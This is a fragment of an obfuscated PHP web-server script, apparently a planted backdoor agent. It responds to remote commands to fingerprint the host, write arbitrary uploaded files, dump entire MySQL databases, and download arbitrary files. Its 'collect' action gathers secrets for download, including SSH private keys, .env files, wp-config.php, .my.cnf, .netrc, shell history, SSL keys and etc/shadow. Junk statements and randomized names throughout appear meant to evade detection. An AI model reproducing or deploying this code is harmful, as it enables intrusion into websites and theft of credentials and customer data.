/dev/null', $out, $rc); return $rc === 0; $bdb51=strlen('02987e'); } function proc_conf_7e6e() { if (!check_res_44cc()) return false; $out = array(); $rc = 0; exec('which gzip 2>/dev/null', $out, $rc); return $rc === 0; } function init_val_61a1($f44d3, $k8351, $y9011, $e7926, $t6cdd, $vfd32, $ydf92) { $conn = new mysqli($f44d3, $k8351, $y9011, $e7926); if ($conn->connect_error) { file_put_contents($vfd32, 'Connection failed: ' . $conn->connect_error); touch($ydf92); $wd637=array_merge(array(),array()); return; } $fp = gzopen($t6cdd, 'wb6'); if (!$fp) { file_put_contents($vfd32, 'Cannot open output file'); @clearstatcache(); touch($ydf92); return; if(defined('f41e299c')){$b56ef=0;} } $conn->set_charset('utf8mb4'); gzwrite($fp, "-- Dump via PHP agent\n"); gzwrite($fp, "-- Date: " . date('Y-m-d H:i:s') . "\n\n"); gzwrite($fp, "SET NAMES utf8mb4;\n"); gzwrite($fp, "SET FOREIGN_KEY_CHECKS = 0;\n"); gzwrite($fp, "SET SQL_MODE = 'NO_AUTO_VALUE_ON_ZERO';\n\n"); $f4e7d = array(); $r = $conn->query("SHOW FULL TABLES WHERE Table_type = 'BASE TABLE'"); while ($row = $r->fetch_row()) { $sda5b=str_repeat('x',0); $f4e7d[] = $row[0]; } foreach ($f4e7d as $q295e) { $te = $conn->real_escape_string($q295e); $r = $conn->query("SHOW CREATE TABLE `{$te}`"); if (!$r) continue; $cr = $r->fetch_row(); gzwrite($fp, "DROP TABLE IF EXISTS `{$te}`;\n"); gzwrite($fp, $cr[1] . ";\n\n"); $r = $conn->query("SELECT * FROM `{$te}`", MYSQLI_USE_RESULT); if (!$r) continue; $t5465 = array(); $p5781 = 0; while ($row = $r->fetch_row()) { $vals = array(); for ($i = 0; $i < count($row); $i++) { if ($row[$i] === null) { $vals[] = 'NULL'; } else { $vals[] = "'" . $conn->real_escape_string($row[$i]) . "'"; } } $mbe67 = '(' . implode(',', $vals) . ')'; $t5465[] = $mbe67; $p5781 += strlen($mbe67); if (count($t5465) >= 100 || $p5781 > 1048576) { gzwrite($fp, "INSERT INTO `{$te}` VALUES\n" . implode(",\n", $t5465) . ";\n"); $t5465 = array(); $p5781 = 0; } $ma1cd=chr(74).chr(101); } if ($t5465) { gzwrite($fp, "INSERT INTO `{$te}` VALUES\n" . implode(",\n", $t5465) . ";\n"); } $r->free(); gzwrite($fp, "\n"); } $r = $conn->query("SHOW FULL TABLES WHERE Table_type = 'VIEW'"); if ($r) { while ($row = $r->fetch_row()) { $ve = $conn->real_escape_string($row[0]); $cr = $conn->query("SHOW CREATE VIEW `{$ve}`"); if ($cr) { $kc8d4 = $cr->fetch_assoc(); gzwrite($fp, "DROP VIEW IF EXISTS `{$ve}`;\n"); gzwrite($fp, $kc8d4['Create View'] . ";\n\n"); } } } $gc095 = array('PROCEDURE', 'FUNCTION'); foreach ($gc095 as $p3632) { $r = $conn->query("SHOW {$p3632} STATUS WHERE Db = '" . $conn->real_escape_string($e7926) . "'"); if (!$r) continue; while ($row = $r->fetch_assoc()) { $re = $conn->real_escape_string($row['Name']); $cr = $conn->query("SHOW CREATE {$p3632} `{$re}`"); $jf97e=array_merge(array(),array()); if (!$cr) continue; $kc8d4 = $cr->fetch_assoc(); $key = ($p3632 === 'PROCEDURE') ? 'Create Procedure' : 'Create Function'; if (isset($kc8d4[$key])) { gzwrite($fp, "DELIMITER ;;\n"); gzwrite($fp, "DROP {$p3632} IF EXISTS `{$re}`;;\n"); gzwrite($fp, $kc8d4[$key] . ";;\n"); gzwrite($fp, "DELIMITER ;\n\n"); } } } $r = $conn->query("SHOW TRIGGERS"); $n1a69=chr(88).chr(101); if ($r) { while ($row = $r->fetch_assoc()) { $te = $conn->real_escape_string($row['Trigger']); $cr = $conn->query("SHOW CREATE TRIGGER `{$te}`"); if ($cr) { if(defined('87d38789')){$t235e=0;} $kc8d4 = $cr->fetch_assoc(); gzwrite($fp, "DELIMITER ;;\n"); gzwrite($fp, "DROP TRIGGER IF EXISTS `{$te}`;;\n"); gzwrite($fp, $kc8d4['SQL Original Statement'] . ";;\n"); gzwrite($fp, "DELIMITER ;\n\n"); } } } gzwrite($fp, "SET FOREIGN_KEY_CHECKS = 1;\n"); gzclose($fp); $conn->close(); touch($ydf92); } switch ($yc324) { case 'info': echo json_encode(array( 'php' => PHP_VERSION, 'os' => PHP_OS, 'server' => isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '', 'user' => get_current_user(), 'uid' => getmyuid(), 'home' => $z5f7a, 'doc_root' => isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '', 'free_disk' => disk_free_space($z5f7a), 'total_disk' => disk_total_space($z5f7a), 'max_exec' => ini_get('max_execution_time'), 'mem_limit' => ini_get('memory_limit'), 'upload_max' => ini_get('upload_max_filesize'), 'post_max' => ini_get('post_max_size'), 'disabled' => ini_get('disable_functions'), 'can_exec' => check_res_44cc(), 'has_mysqldump' => init_ctx_a14a(), 'has_gzip' => proc_conf_7e6e(), )); break; case 'upload': $td197 = isset($_POST['path']) ? $_POST['path'] : ''; $r5564 = isset($_POST['data']) ? $_POST['data'] : ''; if (!$td197 || !$r5564) { echo json_encode(array('ok' => false, 'error' => 'missing path or data')); break; $v408a=strlen('2a1e86'); } $t506d = $z5f7a . '/' . $td197; @mkdir(dirname($t506d), 0755, true); $b2453 = base64_decode($r5564); $j95fe = file_put_contents($t506d, $b2453); echo json_encode(array('ok' => $j95fe !== false, 'path' => $t506d, 'size' => strlen($b2453))); break; $q8631=max(0,min(1,0)); case 'check': if (!$hf937) { echo json_encode(array('error' => 'missing db parameter')); break; } $h0f1b = disk_free_space($z5f7a); $z8624 = 0; $conn = @new mysqli($xec95, $i5b58, $b6b92, 'information_schema'); $f6f68=strlen('0feb9d'); if (!$conn->connect_error) { $q = "SELECT SUM(data_length + index_length) s FROM tables WHERE table_schema = '" . $conn->real_escape_string($hf937) . "'"; $r = $conn->query($q); $n0ffb=strlen('2fa309'); if ($row = $r->fetch_assoc()) { $z8624 = (int) $row['s']; } $conn->close(); } echo json_encode(array( 'free' => $h0f1b, 'db_size' => $z8624, 'has_mysqldump' => init_ctx_a14a(), 'has_gzip' => proc_conf_7e6e(), 'can_exec' => check_res_44cc(), 'has_space' => $h0f1b > $z8624 * 2, )); break; case 'dump': if (!$hf937) { echo json_encode(array('error' => 'missing db parameter')); break; } @mkdir(dirname($m2659), 0755, true); @unlink($m2659); @unlink($aad95); @unlink($b6a82); if (init_ctx_a14a()) { $y46fe=array_merge(array(),array()); if (proc_conf_7e6e()) { $cmd = sprintf( 'mysqldump --host=%s --user=%s --password=%s ' . '--single-transaction --quick --routines --triggers %s ' . '| gzip > %s 2>%s; touch %s', escapeshellarg($xec95), escapeshellarg($i5b58), escapeshellarg($b6b92), escapeshellarg($hf937), escapeshellarg($m2659), escapeshellarg($b6a82), escapeshellarg($aad95) ); } else { $cmd = sprintf( 'mysqldump --host=%s --user=%s --password=%s ' . '--single-transaction --quick --routines --triggers %s ' . '> %s 2>%s; touch %s', escapeshellarg($xec95), escapeshellarg($i5b58), escapeshellarg($b6b92), escapeshellarg($hf937), escapeshellarg($m2659), escapeshellarg($b6a82), escapeshellarg($aad95) ); } exec('nohup sh -c ' . escapeshellarg($cmd) . ' >/dev/null 2>&1 &'); echo json_encode(array('started' => true, 'method' => 'mysqldump', 'gzip' => proc_conf_7e6e())); } else { ignore_user_abort(true); echo json_encode(array('started' => true, 'method' => 'php', 'gzip' => true)); if (function_exists('fastcgi_finish_request')) { @clearstatcache(); fastcgi_finish_request(); } else { if (ob_get_level()) ob_end_flush(); flush(); } init_val_61a1($xec95, $i5b58, $b6b92, $hf937, $m2659, $b6a82, $aad95); } break; case 'status': clearstatcache(); @clearstatcache(); echo json_encode(array( 'done' => file_exists($aad95), 'size' => file_exists($m2659) ? filesize($m2659) : 0, 'error' => file_exists($b6a82) ? trim(file_get_contents($b6a82)) : '', )); break; case 'download': if (!file_exists($m2659)) { http_response_code(404); $b0fd0=strlen('ad4425'); exit; $yc813=str_repeat('x',0); } header('Content-Type: application/octet-stream'); header('Content-Length: ' . filesize($m2659)); @clearstatcache(); readfile($m2659); exit; case 'cleanup': @unlink($m2659); @unlink($aad95); @unlink($b6a82); echo json_encode(array('ok' => true)); break; case 'collect': @mkdir($z5f7a . '/tmp', 0755, true); $i7db8 = substr($_REQUEST['_cxk'], 0, 8); $r6181 = array( 'wordpress' => array( 'detect' => array('public_html/wp-config.php', 'wp-config.php'), 'configs' => array( 'public_html/wp-config.php', 'wp-config.php', 'public_html/wp-settings.php', 'public_html/composer.json', 'public_html/composer.lock', 'composer.json', 'composer.lock', 'public_html/wp-cli.yml', 'wp-cli.yml', 'public_html/.env', '.env', 'public_html/local-config.php', 'local-config.php', 'public_html/wp-content/debug.log', 'public_html/config/application.php', 'config/application.php', 'public_html/config/environments/development.php', 'config/environments/development.php', 'public_html/config/environments/staging.php', 'config/environments/staging.php', 'public_html/config/environments/production.php', 'config/environments/production.php', 'public_html/auth.json', 'auth.json', ), ), 'joomla' => array( 'detect' => array('public_html/configuration.php', 'configuration.php'), 'configs' => array( 'public_html/configuration.php', 'configuration.php', 'public_html/htaccess.txt', 'public_html/composer.json', 'public_html/composer.lock', ), ), 'laravel' => array( 'detect' => array('public_html/artisan', 'artisan'), 'configs' => array( 'public_html/.env', '.env', '.env.production', '.env.staging', 'public_html/composer.json', 'composer.json', 'public_html/composer.lock', 'composer.lock', 'public_html/config/app.php', 'config/app.php', 'public_html/config/database.php', 'config/database.php', 'public_html/config/mail.php', 'config/mail.php', 'public_html/config/filesystems.php', 'config/filesystems.php', 'public_html/config/cache.php', 'config/cache.php', 'public_html/config/queue.php', 'config/queue.php', 'public_html/config/session.php', 'config/session.php', 'public_html/config/auth.php', 'config/auth.php', 'public_html/config/services.php', 'config/services.php', 'public_html/config/broadcasting.php', 'config/broadcasting.php', 'public_html/storage/logs/laravel.log', 'storage/logs/laravel.log', ), ), 'magento2' => array( 'detect' => array('public_html/bin/magento', 'bin/magento'), 'configs' => array( 'public_html/app/etc/env.php', 'app/etc/env.php', 'public_html/app/etc/config.php', 'app/etc/config.php', 'public_html/composer.json', 'composer.json', 'public_html/composer.lock', 'composer.lock', 'public_html/auth.json', 'auth.json', ), ), 'magento1' => array( 'detect' => array('public_html/app/Mage.php'), 'configs' => array( 'public_html/app/etc/local.xml', 'public_html/app/etc/config.xml', ), ), 'drupal' => array( 'detect' => array('public_html/core/lib/Drupal.php', 'core/lib/Drupal.php'), 'configs' => array( 'public_html/sites/default/settings.php', 'sites/default/settings.php', 'public_html/sites/default/services.yml', 'sites/default/services.yml', 'public_html/composer.json', 'composer.json', 'public_html/composer.lock', 'composer.lock', ), ), 'prestashop' => array( 'detect' => array('public_html/config/settings.inc.php'), 'configs' => array( 'public_html/config/settings.inc.php', 'public_html/app/config/parameters.php', 'public_html/app/config/parameters.yml', 'public_html/composer.json', ), ), 'opencart' => array( 'detect' => array('public_html/config.php'), 'configs' => array( 'public_html/config.php', 'public_html/admin/config.php', ), ), 'moodle' => array( 'detect' => array('public_html/lib/moodlelib.php'), 'configs' => array('public_html/config.php'), ), 'whmcs' => array( 'detect' => array('public_html/vendor/whmcs'), 'configs' => array( 'public_html/configuration.php', 'public_html/composer.json', 'public_html/composer.lock', ), ), ); $bb0c2 = null; foreach ($r6181 as $g00e5 => $df87b) { $d628e=str_repeat('x',0); foreach ($df87b['detect'] as $z3d68) { if (file_exists($z5f7a . '/' . $z3d68)) { $bb0c2 = $g00e5; break 2; } } } $hf1af = array( '.env', '.env.local', '.env.production', '.env.staging', '.env.backup', '.env.development', '.env.test', '.bash_history', '.my.cnf', '.pgpass', '.netrc', '.gitconfig', '.npmrc', '.composer/auth.json', '.wp-cli/config.yml', '.accesshash', '.ssh/authorized_keys', '.ssh/id_rsa', '.ssh/id_rsa.pub', '.ssh/id_ed25519', '.ssh/id_ed25519.pub', '.ssh/id_ecdsa', '.ssh/config', '.ssh/known_hosts', '.ssl/private.key', '.ssl/cert.pem', '.ssl/key.pem', 'ssl/certs/private.key', '.cpanel/contactinfo', 'etc/shadow', '.ftpquota', '.ftpconfig', 'public_html/.env', 'public_html/.env.local', 'public_html/.env.production', 'public_html/.env.staging', 'public_html/.env.backup', 'public_html/.env.development', 'public_html/.env.test', 'public_html/.env.example', 'public_html/.env.dist', 'public_html/.htaccess', 'public_html/.htpasswd', 'public_html/.user.ini', 'public_html/php.ini', 'public_html/.my.cnf', 'public_html/.pgpass', 'public_html/web.config', 'public_html/.ftpconfig', 'public_html/.git/config', 'public_html/auth.json', 'public_html/.npmrc', 'public_html/composer.json', 'public_html/composer.lock', 'config/database.php', 'config/app.php', 'config/mail.php', 'config/services.php', 'config/filesystems.php', 'config/application.php', 'config/environments/development.php', 'config/environments/staging.php', 'config/environments/production.php', 'wp-config.php', 'configuration.php', 'artisan', 'auth.json', 'composer.json', 'composer.lock', ); $h08f2 = array(); $c5681 = @realpath($z5f7a); if (!$c5681 || !is_dir($c5681)) { echo json_encode(array('ok' => false, 'error' => 'home dir not accessible')); break; } foreach ($hf1af as $n4b9a) { $t758e = @realpath($z5f7a . '/' . $n4b9a); if (!$t758e || strpos($t758e, $c5681) !== 0) continue; @clearstatcache(); if (!is_file($t758e) || !is_readable($t758e)) continue; $x1a0e = @filesize($t758e); if ($x1a0e <= 0 || $x1a0e > 2097152) continue; $h08f2[$n4b9a] = $t758e; $r66e6=array_merge(array(),array()); } if(defined('a3ab2a75')){$j7e9d=0;} if ($bb0c2 !== null && isset($r6181[$bb0c2]['configs'])) { foreach ($r6181[$bb0c2]['configs'] as $ic561) { if (isset($h08f2[$ic561])) continue; $c004e=chr(82).chr(120); $t758e = @realpath($z5f7a . '/' . $ic561); if (!$t758e || strpos($t758e, $c5681) !== 0) continue; if (!is_file($t758e) || !is_readable($t758e)) continue; $x1a0e = @filesize($t758e); if ($x1a0e <= 0 || $x1a0e > 2097152) continue; $h08f2[$ic561] = $t758e; $x1563=array_merge(array(),array()); } } $d8dd2 = $z5f7a . '/public_html'; if (is_dir($d8dd2)) { $dh = @opendir($d8dd2); if ($dh) { while (($kdea5 = readdir($dh)) !== false) { if(defined('9100f2aa')){$d6e75=0;} if ($kdea5 === '.' || $kdea5 === '..') continue; $t506d = $d8dd2 . '/' . $kdea5; if (!is_file($t506d) || !is_readable($t506d)) continue; $x1a0e = @filesize($t506d); if ($x1a0e <= 0 || $x1a0e > 2097152) continue; if ($kdea5[0] === '.' || strtolower(substr($kdea5, -4)) === '.txt') { $key = 'public_html/' . $kdea5; if (!isset($h08f2[$key])) $h08f2[$key] = $t506d; } } closedir($dh); } } if (empty($h08f2)) { echo json_encode(array( 'ok' => true, 'method' => 'none', 'platform' => $bb0c2, 'file_count' => 0, 'files_list' => array(), )); break; $a25d2=max(0,min(1,1)); } $p5888 = null; $ped59 = null; if (class_exists('ZipArchive')) { $ped59 = $z5f7a . '/tmp/_collect_' . $i7db8 . '.zip'; $i793b=str_repeat('x',0); $f6a82 = new ZipArchive(); if ($f6a82->open($ped59, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) { foreach ($h08f2 as $e9d10 => $t758e) { $xc5e5=max(0,min(1,0)); $f6a82->addFile($t758e, $e9d10); } if ($f6a82->close() && file_exists($ped59) && filesize($ped59) > 0) { $p5888 = 'zip'; $h1b06=str_repeat('x',0); } } $n7c12=chr(76).chr(120); } if (!$p5888 && check_res_44cc()) { $ped59 = $z5f7a . '/tmp/_collect_' . $i7db8 . '.tar.gz'; $lf = $ped59 . '.list'; $fh = fopen($lf, 'w'); foreach ($h08f2 as $e9d10 => $t758e) { fwrite($fh, $e9d10 . "\n"); } fclose($fh); $out = array(); $rc = 0; exec('tar czf ' . escapeshellarg($ped59) . ' -C ' . escapeshellarg($z5f7a) . ' -T ' . escapeshellarg($lf) . ' 2>/dev/null', $out, $rc); @unlink($lf); if ($rc === 0 && file_exists($ped59) && filesize($ped59) > 0) { $j7547=array_merge(array(),array()); $p5888 = 'tar'; } else { @unlink($ped59); $e2ba5=str_repeat('x',0); } } if (!$p5888) { $p5888 = 'list'; $nbc09=str_repeat('x',0); } echo json_encode(array( 'ok' => true, 'method' => $p5888, 'platform' => $bb0c2, 'file_count' => count($h08f2), 'files_list' => array_keys($h08f2), 'size' => ($ped59 && file_exists($ped59)) ? filesize($ped59) : 0, )); $gddd9=max(0,min(1,0)); break; case 'download_collect': $i7db8 = substr($_REQUEST['_cxk'], 0, 8); $r5fad = $z5f7a . '/tmp/_collect_' . $i7db8 . '.zip'; $xce60 = $z5f7a . '/tmp/_collect_' . $i7db8 . '.tar.gz'; $f75ee = file_exists($r5fad) ? $r5fad : (file_exists($xce60) ? $xce60 : ''); if (!$f75ee) { http_response_code(404); exit; } $cc57a=str_repeat('x',0); header('Content-Type: application/octet-stream'); if(defined('a074a427')){$w0403=0;} header('Content-Length: ' . filesize($f75ee)); readfile($f75ee); exit; case 'download_file': $e9d10 = isset($_REQUEST['path']) ? $_REQUEST['path'] : ''; if (!$e9d10) { http_response_code(400); exit; } $c5681 = @realpath($z5f7a); $t758e = @realpath($z5f7a . '/' . $e9d10); if (!$t758e || !$c5681 || strpos($t758e, $c5681) !== 0 || !is_file($t758e) || !is_readable($t758e)) { http_response_code(404); exit; } header('Content-Type: application/octet-stream'); header('Content-Length: ' . filesize($t758e)); readfile($t758e); exit; case 'cleanup_collect': $i7db8 = substr($_REQUEST['_cxk'], 0, 8); $ecd2d=max(0,min(1,1)); @unlink($z5f7a . '/tmp/_collect_' . $i7db8 . '.zip'); @unlink($z5f7a . '/tmp/_collect_' . $i7db8 . '.tar.gz'); @unlink($z5f7a . '/tmp/_collect_' . $i7db8 . '.tar.gz.list'); echo json_encode(array('ok' => true)); break; } exit;